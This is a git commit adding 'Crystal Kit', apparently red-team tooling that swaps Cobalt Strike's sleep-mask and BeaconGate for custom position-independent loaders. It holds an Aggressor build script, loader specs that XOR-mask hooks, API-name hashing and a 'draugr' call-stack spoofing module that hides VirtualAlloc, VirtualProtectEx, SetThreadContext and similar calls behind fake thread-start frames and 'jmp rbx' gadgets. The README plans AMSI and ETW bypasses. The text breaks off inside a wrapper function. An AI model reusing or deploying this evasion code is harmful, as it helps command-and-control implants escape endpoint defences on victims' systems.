This commit is contained in:
Rasta Mouse
2025-10-12 19:43:42 +01:00
parent 2a4da97c4e
commit 46931218f9
33 changed files with 5021 additions and 0 deletions
+11
View File
@@ -0,0 +1,11 @@
all:
cd udrl && make $@
cd postex-udrl && make $@
debug:
cd udrl && make $@
cd postex-udrl && make $@
clean:
cd udrl && make $@
cd postex-udrl && make $@
+31
View File
@@ -1,2 +1,33 @@
# Crystal Kit
This repo is a technical and social experiment to see if replacing Cobalt Strike's evasion primitives (Sleepmask/BeaconGate) with Crystal Palace PIC(O)s is feasible (or even desirable) for advanced evasion scenarios. Also see the accompanying [blog post](https://rastamouse.me/crystal-kit/).
## Usage
1. Disable the Sleepmask and stage obfuscations in Malleable C2.
```text
stage {
set rdll_loader "PrependLoader";
set sleep_mask "false";
set cleanup "true";
transform-obfuscate { }
}
post-ex {
set cleanup "true";
}
```
2. Copy `crystalpalace.jar` to your Cobalt Strike client directory.
3. Load `crystalkit.cna`.
## TODO
There are lots of improvements that can be made to this codebase. Some that come to mind include:
- [ ] Add BUD-style structures to track memory allocations.
- [ ] Don't use RWX memory for Beacon.
- [ ] Add GMA & GPA patching to the postex loader (`smartinject` is not yet supported in `stage` for prepended loaders).
- [ ] Add AMSI & ETW bypasses to the postex loader.
- [ ] Add memory freeing code on ExitThread.
+69
View File
@@ -0,0 +1,69 @@
import crystalpalace.spec.* from: crystalpalace.jar;
import java.util.HashMap;
sub print_info {
println(formatDate("[HH:mm:ss] ") . "\cE[Crystal Kit]\o " . $1);
}
set BEACON_RDLL_GENERATE {
local('$beacon $arch $file_path $spec $final');
$beacon = $2;
$arch = $3;
if ($arch eq "x86") {
warn("Crystal Kit is x64 only");
return $null;
}
# get path to spec file
$file_path = getFileProper(script_resource("udrl"), "loader.spec");
# parse the spec
print_info("Parsing $+ $file_path $+ ...");
$spec = [LinkSpec Parse: $file_path];
# apply the spec
print_info("Applying spec...");
$final = [$spec run: $beacon, [new HashMap]];
if (strlen($final) == 0) {
warn("Failed to build payload");
return $null;
}
print_info("Payload Size: " . strlen($final) . " bytes");
return $final;
}
set BEACON_RDLL_SIZE {
return "0";
}
set POSTEX_RDLL_GENERATE {
local('$postex $arch $file_path $spec $final');
$postex = $2;
$arch = $3;
# get path to spec file
$file_path = getFileProper(script_resource("postex-udrl"), "loader.spec");
# parse the spec
print_info("Parsing $+ $file_path $+ ...");
$spec = [LinkSpec Parse: $file_path];
# apply the spec
print_info("Applying spec...");
$final = [$spec run: $postex, [new HashMap]];
if (strlen($final) == 0) {
warn("Failed to build package");
return $null;
}
print_info("Final Size: " . strlen($final) . " bytes");
return $final;
}
+20
View File
@@ -0,0 +1,20 @@
CC_64=x86_64-w64-mingw32-gcc
all: bin/loader.x64.o
debug: bin/debug.x64.o
bin:
mkdir bin
bin/loader.x64.o: bin
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/proxy.c -o bin/proxy.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hook.c -o bin/hook.x64.o
bin/debug.x64.o: bin
$(CC_64) -DWIN_X64 -DDEBUG -g -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
$(CC_64) -DWIN_X64 -DDEBUG -g -shared -Wall -Wno-pointer-arith -c src/proxy.c -o bin/proxy.x64.o
$(CC_64) -DWIN_X64 -DDEBUG -g -shared -Wall -Wno-pointer-arith -c src/hook.c -o bin/hook.x64.o
clean:
rm -f bin/*
+27
View File
@@ -0,0 +1,27 @@
name "Crystal Kit"
describe ""
author "Daniel Duggan (@_RastaMouse)"
x64:
load "bin/loader.x64.o"
make pic
load "bin/proxy.x64.o"
make pic
export
preplen
link "my_proxy"
generate $HKEY 128
load "bin/hook.x64.o"
make object
patch "xorkey" $HKEY
import "LoadLibraryA, GetProcAddress, SpoofStub, RtlLookupFunctionEntry, GetModuleHandleA, VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, GetThreadContext, SetThreadContext, ResumeThread, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, CloseHandle, CreateFileMappingA, MapViewOfFile, UnmapViewOfFile, VirtualQuery, DuplicateHandle, ReadProcessMemory, WriteProcessMemory, ExitThread, CreateProcessA, Sleep"
export
link "my_hooks"
push $DLL
link "my_data"
export
+87
View File
@@ -0,0 +1,87 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
/*
* Save you some headache doing a PIC printf for debugging
*/
#ifndef WIN32_FUNC
#define WIN32_FUNC( x ) __typeof__( x ) * x
#endif
#define PIC_STRING(name, str) char name[] = { str }
#define PIC_WSTRING(name, str) wchar_t name[] = { str }
typedef int __cdecl (*vsnprintf_t)(char * d, size_t n, char * format, ...);
typedef struct {
WIN32_FUNC(VirtualAlloc);
WIN32_FUNC(VirtualFree);
WIN32_FUNC(OutputDebugStringA);
vsnprintf_t vsnprintf;
} DPRINTFFUNCS;
void __dprintf(DPRINTFFUNCS * funcs, char * format, va_list * args) {
int len;
char * temp;
/* figure out the length of our buffer */
len = funcs->vsnprintf(NULL, 0, format, *args);
/* allocate our memory */
temp = funcs->VirtualAlloc(NULL, len + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (temp == NULL) {
return;
}
//__stosb((unsigned char *)temp, 0, len + 1);
/* format everything */
funcs->vsnprintf(temp, len + 1, format, *args);
/* printf it */
funcs->OutputDebugStringA(temp);
/* free our memory and move on with our lives */
funcs->VirtualFree(temp, 0, MEM_RELEASE);
}
void dprintf(IMPORTFUNCS * ifuncs, char * format, ...) {
va_list args;
HMODULE mod;
DPRINTFFUNCS funcs;
PIC_STRING(kern32, "KERNEL32");
PIC_STRING(vastr, "VirtualAlloc");
PIC_STRING(vfstr, "VirtualFree");
PIC_STRING(odstr, "OutputDebugStringA");
PIC_STRING(msvcrt, "MSVCRT");
PIC_STRING(pfstr, "vsnprintf");
mod = ifuncs->LoadLibraryA(kern32);
funcs.VirtualAlloc = (__typeof__(VirtualAlloc) *) ifuncs->GetProcAddress(mod, vastr);
funcs.VirtualFree = (__typeof__(VirtualFree) *) ifuncs->GetProcAddress(mod, vfstr);
funcs.OutputDebugStringA = (__typeof__(OutputDebugStringA) *)ifuncs->GetProcAddress(mod, odstr);
mod = ifuncs->LoadLibraryA(msvcrt);
funcs.vsnprintf = (vsnprintf_t) ifuncs->GetProcAddress(mod, pfstr);
va_start(args, format);
__dprintf(&funcs, format, &args);
va_end(args);
}
+76
View File
@@ -0,0 +1,76 @@
#include <windows.h>
#define RBP_OP_INFO 0x5
#define draugrArg(i) (ULONG_PTR)functionCall->args[i]
typedef ULONG NTAPI (*RTLRANDOMEX) (PULONG);
// God Bless Vulcan Raven.
typedef struct _STACK_FRAME {
LPCWSTR DllPath;
ULONG Offset;
ULONGLONG TotalStackSize;
BOOL RequiresLoadLibrary;
BOOL SetsFramePointer;
PVOID ReturnAddress;
BOOL PushRbp;
ULONG CountOfCodes;
BOOL PushRbpIndex;
} STACK_FRAME, * PSTACK_FRAME;
typedef enum _UNWIND_OP_CODES {
UWOP_PUSH_NONVOL = 0,
UWOP_ALLOC_LARGE,
UWOP_ALLOC_SMALL,
UWOP_SET_FPREG,
UWOP_SAVE_NONVOL,
UWOP_SAVE_NONVOL_FAR,
UWOP_SAVE_XMM128 = 8,
UWOP_SAVE_XMM128_FAR,
UWOP_PUSH_MACHFRAME
} UNWIND_CODE_OPS;
typedef unsigned char UBYTE;
typedef union _UNWIND_CODE {
struct {
UBYTE CodeOffset;
UBYTE UnwindOp : 4;
UBYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE, *PUNWIND_CODE;
typedef struct _UNWIND_INFO {
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode[1];
} UNWIND_INFO, *PUNWIND_INFO;
typedef struct _FRAME_INFO {
PVOID ModuleAddress;
PVOID FunctionAddress;
DWORD Offset;
} FRAME_INFO, * PFRAME_INFO;
typedef struct _SYNTHETIC_STACK_FRAME {
FRAME_INFO Frame1;
FRAME_INFO Frame2;
PVOID pGadget;
} SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME;
typedef struct {
PVOID function;
int argc;
ULONG_PTR args[10];
} FUNCTION_CALL, * PFUNCTION_CALL;
typedef struct _DRAUGR_FUNCTION_CALL {
PFUNCTION_CALL FunctionCall;
PVOID StackFrame;
PVOID SpoofCall;
} DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL;
+61
View File
@@ -0,0 +1,61 @@
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define RTLLOOKUPFUNCTIONENTRY_HASH 0xC1D846D9
#define GETMODULEHANDLEA_HASH 0xD3324904
#define VIRTUALALLOC_HASH 0x91AFCA54
#define VIRTUALALLOCEX_HASH 0x6E1A959C
#define VIRTUALPROTECT_HASH 0x7946C61B
#define VIRTUALPROTECTEX_HASH 0x53D98756
#define VIRTUALFREE_HASH 0x30633AC
#define GETTHREADCONTEXT_HASH 0x68A7C7D2
#define SETTHREADCONTEXT_HASH 0xE8A7C7D3
#define INTERNETOPENA_HASH 0x57E84429
#define INTERNETCONNECTA_HASH 0x1E4BE80E
#define RESUMETHREAD_HASH 0x9E4A3F88
#define CREATETHREAD_HASH 0xCA2BD06B
#define CREATEREMOTETHREAD_HASH 0x72BD9CDD
#define OPENPROCESS_HASH 0xEFE297C0
#define OPENTHREAD_HASH 0x58C91E6F
#define CLOSEHANDLE_HASH 0xFFD97FB
#define CREATEFILEMAPPINGA_HASH 0x56C61229
#define MAPVIEWOFFILE_HASH 0x7B073C59
#define UNMAPVIEWOFFILE_HASH 0xB2089259
#define VIRTUALQUERY_HASH 0xA3C8C8AA
#define DUPLICATEHANDLE_HASH 0xBD566724
#define READPROCESSMEMORY_HASH 0x579D1BE9
#define WRITEPROCESSMEMORY_HASH 0xD83D6AA1
#define EXITTHREAD_HASH 0x60E0CEEF
#define CREATEPROCESSA_HASH 0x16B3FE72
#define SLEEP_HASH 0xDB2D49B0
#define TPALLOCWORK_HASH 0x7449D9F8
#define TPPOSTWORK_HASH 0xA3560665
#define TPRELEASEWORK_HASH 0x1FFDA65A
#define NTALLOCATEVIRTUALMEMORY_HASH 0xD33BCABD
#define NTPROTECTVIRTUALMEMORY_HASH 0x8C394D89
#define HASH_KEY 13
#ifndef __MINGW32__
#pragma intrinsic( _rotr )
#endif
__forceinline DWORD ror( DWORD d ) {
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
+988
View File
@@ -0,0 +1,988 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
#include <windows.h>
#include <wininet.h>
#include "draugr.h"
#include "proxy.h"
#include "hash.h"
#include "utils.h"
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
typedef ULONG NTAPI (*RTLRANDOMEX)(PULONG);
/* the proxy pic */
DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
/* store resolved functions */
void * g_ExitThread;
/* patched in from loader.spec */
char xorkey[128] = { 1 };
void applyxor(char * data, DWORD len) {
for (DWORD x = 0; x < len; x++) {
data[x] ^= xorkey[x % 128];
}
}
/* some globals */
char * g_dllBase;
DWORD g_dllSize;
SYNTHETIC_STACK_FRAME g_stackFrame;
void init_frame_info()
{
PVOID pModuleFrame1 = GetModuleHandleA("kernel32.dll");
PVOID pModuleFrame2 = GetModuleHandleA("ntdll.dll");
g_stackFrame.Frame1.ModuleAddress = pModuleFrame1;
g_stackFrame.Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame1, "BaseThreadInitThunk");
g_stackFrame.Frame1.Offset = 0x17;
g_stackFrame.Frame2.ModuleAddress = pModuleFrame2;
g_stackFrame.Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame2, "RtlUserThreadStart");
g_stackFrame.Frame2.Offset = 0x2c;
g_stackFrame.pGadget = GetModuleHandleA("KernelBase.dll");
}
BOOL get_text_section_size(PVOID pModule, PDWORD pdwVirtualAddress, PDWORD pdwSize)
{
PIMAGE_DOS_HEADER pImgDosHeader = (PIMAGE_DOS_HEADER)(pModule);
if (pImgDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
PIMAGE_NT_HEADERS pImgNtHeaders = (PIMAGE_NT_HEADERS)((UINT_PTR)pModule + pImgDosHeader->e_lfanew);
if (pImgNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
PIMAGE_SECTION_HEADER pImgSectionHeader = IMAGE_FIRST_SECTION(pImgNtHeaders);
for (int i = 0; i < pImgNtHeaders->FileHeader.NumberOfSections; i++)
{
if (_strncmp((char*)pImgSectionHeader[i].Name, (char*)".text", IMAGE_SIZEOF_SHORT_NAME) == 0)
{
*pdwVirtualAddress = pImgSectionHeader[i].VirtualAddress;
*pdwSize = pImgSectionHeader[i].SizeOfRawData;
return TRUE;
}
}
return FALSE;
}
PVOID calculate_function_stack_size(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 imageBase)
{
PUNWIND_INFO pUnwindInfo = NULL;
ULONG unwindOperation = 0;
ULONG operationInfo = 0;
ULONG index = 0;
ULONG frameOffset = 0;
STACK_FRAME stackFrame;
memset(&stackFrame, 0, sizeof(stackFrame));
if (!pRuntimeFunction) {
return NULL;
}
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + imageBase);
while (index < pUnwindInfo->CountOfCodes)
{
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
/* don't use switch as it produces jump tables */
if (unwindOperation == UWOP_PUSH_NONVOL)
{
stackFrame.TotalStackSize += 8;
if (RBP_OP_INFO == operationInfo) {
stackFrame.PushRbp = TRUE;
stackFrame.CountOfCodes = pUnwindInfo->CountOfCodes;
stackFrame.PushRbpIndex = index + 1;
}
}
else if (unwindOperation == UWOP_SAVE_NONVOL)
{
index += 1;
}
else if (unwindOperation == UWOP_ALLOC_SMALL)
{
stackFrame.TotalStackSize += ((operationInfo * 8) + 8);
}
else if (unwindOperation == UWOP_ALLOC_LARGE)
{
index += 1;
frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;
if (operationInfo == 0) {
frameOffset *= 8;
}
else {
index += 1;
frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);
}
stackFrame.TotalStackSize += frameOffset;
}
else if (unwindOperation == UWOP_SET_FPREG)
{
stackFrame.SetsFramePointer = TRUE;
}
else if (unwindOperation == UWOP_SAVE_XMM128)
{
return NULL;
}
index += 1;
}
if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO))
{
index = pUnwindInfo->CountOfCodes;
if (0 != (index & 1)) {
index += 1;
}
pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]);
return calculate_function_stack_size(pRuntimeFunction, imageBase);
}
stackFrame.TotalStackSize += 8;
return (PVOID)(stackFrame.TotalStackSize);
}
PVOID calculate_function_stack_size_wrapper(PVOID returnAddress)
{
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
DWORD64 ImageBase = 0;
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
if (!returnAddress) {
return NULL;
}
pRuntimeFunction = RtlLookupFunctionEntry((DWORD64)returnAddress, &ImageBase, pHistoryTable);
if (NULL == pRuntimeFunction) {
return NULL;
}
return calculate_function_stack_size(pRuntimeFunction, ImageBase);
}
PVOID find_gadget(PVOID pModuleAddr)
{
BOOL bFoundGadgets = FALSE;
DWORD dwTextSectionSize = 0;
DWORD dwTextSectionVa = 0;
DWORD dwCounter = 0;
ULONG seed = 0;
ULONG randomNbr = 0;
PVOID pModTextSection = NULL;
PVOID pGadgetList[15];
memset(&pGadgetList, 0, (sizeof(PVOID) * 8));
RTLRANDOMEX rtlRandomEx = (RTLRANDOMEX)GetProcAddress(GetModuleHandleA("ntdll"), "RtlRandomEx");
if (!bFoundGadgets)
{
if (!get_text_section_size(pModuleAddr, &dwTextSectionVa, &dwTextSectionSize)) {
return NULL;
}
pModTextSection = (PBYTE)((UINT_PTR)pModuleAddr + dwTextSectionVa);
for (int i = 0; i < (dwTextSectionSize - 2); i++)
{
// Searching for jmp rbx gadget
if (((PBYTE)pModTextSection)[i] == 0xFF && ((PBYTE)pModTextSection)[i + 1] == 0x23)
{
pGadgetList[dwCounter] = (void*)((UINT_PTR)pModTextSection + i);
dwCounter++;
if (dwCounter == 15) {
break;
}
}
}
bFoundGadgets = TRUE;
}
seed = 0x1337;
randomNbr = rtlRandomEx(&seed);
randomNbr %= dwCounter;
return pGadgetList[randomNbr];
}
ULONG_PTR draugr_spoof_call(PVOID pFunctionAddr, PVOID pArg1, PVOID pArg2, PVOID pArg3, PVOID pArg4, PVOID pArg5, PVOID pArg6, PVOID pArg7, PVOID pArg8, PVOID pArg9, PVOID pArg10, PVOID pArg11, PVOID pArg12)
{
int attempts = 0;
PVOID returnAddress = NULL;
DRAUGR_PARAMETERS draugrParameters;
memset(&draugrParameters, 0, sizeof(DRAUGR_PARAMETERS));
// configure BaseThreadInitThunk frame
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame1.FunctionAddress + g_stackFrame.Frame1.Offset);
draugrParameters.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper(returnAddress);
draugrParameters.BaseThreadInitThunkReturnAddress = returnAddress;
if (!draugrParameters.BaseThreadInitThunkStackSize || !draugrParameters.BaseThreadInitThunkReturnAddress) {
return (ULONG_PTR)(NULL);
}
// configure RtlUserThreadStart frame.
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame2.FunctionAddress + g_stackFrame.Frame2.Offset);
draugrParameters.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper(returnAddress);
draugrParameters.RtlUserThreadStartReturnAddress = returnAddress;
if (!draugrParameters.RtlUserThreadStartStackSize || !draugrParameters.RtlUserThreadStartReturnAddress) {
return (ULONG_PTR)(NULL);
}
/*
* Ensure that the gadget stack size is bigger than 0x80, which is min
* required to hold 10 arguments, otherwise it will crash sporadically.
*/
do {
draugrParameters.Trampoline = find_gadget(g_stackFrame.pGadget);
draugrParameters.TrampolineStackSize = calculate_function_stack_size_wrapper(draugrParameters.Trampoline);
attempts++;
// quick sanity check for infinite loop
if (attempts > 15) {
return (ULONG_PTR)(NULL);
}
} while (draugrParameters.TrampolineStackSize == NULL || ((__int64)draugrParameters.TrampolineStackSize < 0x80));
if (!draugrParameters.Trampoline || !draugrParameters.TrampolineStackSize) {
return (ULONG_PTR)(NULL);
}
// make the call!
return (ULONG_PTR)SpoofStub(pArg1, pArg2, pArg3, pArg4, &draugrParameters, pFunctionAddr, 8, pArg5, pArg6, pArg7, pArg8, pArg9, pArg10, pArg11, pArg12);
}
ULONG_PTR draugr(PFUNCTION_CALL functionCall)
{
/* very inelegant */
if (functionCall->argc == 0) {
return draugr_spoof_call(functionCall->function, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 1) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 2) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 3) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 4) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 5) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 6) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 7) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 8) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 9) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), NULL, NULL, NULL);
} else if (functionCall->argc == 10) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), NULL, NULL);
} else if (functionCall->argc == 11) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), NULL);
} else if (functionCall->argc == 12) {
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), (PVOID)draugrArg(11));
}
return (ULONG_PTR)(NULL);
}
#ifdef DEBUG
#include "picodebug.h"
#endif
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
#if DEBUG
dprintf("[POSTEX] _VirtualAlloc\n");
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
dprintf(" -> dwSize : %d\n", dwSize);
dprintf(" -> flAllocationType : %d\n", flAllocationType);
dprintf(" -> flProtect : %d\n", flProtect);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(VirtualAlloc);
call.argc = 4;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(dwSize);
call.args[2] = (ULONG_PTR)(flAllocationType);
call.args[3] = (ULONG_PTR)(flProtect);
return (LPVOID)draugr(&call);
}
LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
#if DEBUG
dprintf("[POSTEX] _VirtualAllocEx\n");
dprintf(" -> hProcess : 0x%lp\n", hProcess);
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
dprintf(" -> dwSize : %d\n", dwSize);
dprintf(" -> flAllocationType : %d\n", flAllocationType);
dprintf(" -> flProtect : %d\n", flProtect);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(VirtualAllocEx);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpAddress);
call.args[2] = (ULONG_PTR)(dwSize);
call.args[3] = (ULONG_PTR)(flAllocationType);
call.args[4] = (ULONG_PTR)(flProtect);
return (LPVOID)draugr(&call);
}
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
{
#if DEBUG
dprintf("[POSTEX] _VirtualProtect\n");
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
dprintf(" -> dwSize : %d\n", dwSize);
dprintf(" -> flNewProtect : %d\n", flNewProtect);
dprintf(" -> lpflOldProtect : 0x%lp\n", lpflOldProtect);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(VirtualProtect);
call.argc = 4;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(dwSize);
call.args[2] = (ULONG_PTR)(flNewProtect);
call.args[3] = (ULONG_PTR)(lpflOldProtect);
return (BOOL)draugr(&call);
}
BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
{
#if DEBUG
dprintf("[POSTEX] _VirtualProtectEx\n");
dprintf(" -> hProcess : 0x%lp\n", hProcess);
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
dprintf(" -> dwSize : %d\n", dwSize);
dprintf(" -> flNewProtect : %d\n", flNewProtect);
dprintf(" -> lpflOldProtect : 0x%lp\n", lpflOldProtect);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(VirtualProtectEx);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpAddress);
call.args[2] = (ULONG_PTR)(dwSize);
call.args[3] = (ULONG_PTR)(flNewProtect);
call.args[4] = (ULONG_PTR)(lpflOldProtect);
return (BOOL)draugr(&call);
}
BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
#if DEBUG
dprintf("[POSTEX] _VirtualFree\n");
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
dprintf(" -> dwSize : %d\n", dwSize);
dprintf(" -> dwFreeType : %d\n", dwFreeType);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(VirtualFree);
call.argc = 3;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(dwSize);
call.args[2] = (ULONG_PTR)(dwFreeType);
return (BOOL)draugr(&call);
}
BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
{
#if DEBUG
dprintf("[POSTEX] _GetThreadContext\n");
dprintf(" -> hThread : 0x%lp\n", hThread);
dprintf(" -> lpContext : 0x%lp\n", lpContext);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(GetThreadContext);
call.argc = 2;
call.args[0] = (ULONG_PTR)(hThread);
call.args[1] = (ULONG_PTR)(lpContext);
return (BOOL)draugr(&call);
}
BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
{
#if DEBUG
dprintf("[POSTEX] _SetThreadContext\n");
dprintf(" -> hThread : 0x%lp\n", hThread);
dprintf(" -> lpContext : 0x%lp\n", lpContext);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(SetThreadContext);
call.argc = 2;
call.args[0] = (ULONG_PTR)(hThread);
call.args[1] = (ULONG_PTR)(lpContext);
return (BOOL)draugr(&call);
}
DWORD WINAPI _ResumeThread(HANDLE hThread)
{
#if DEBUG
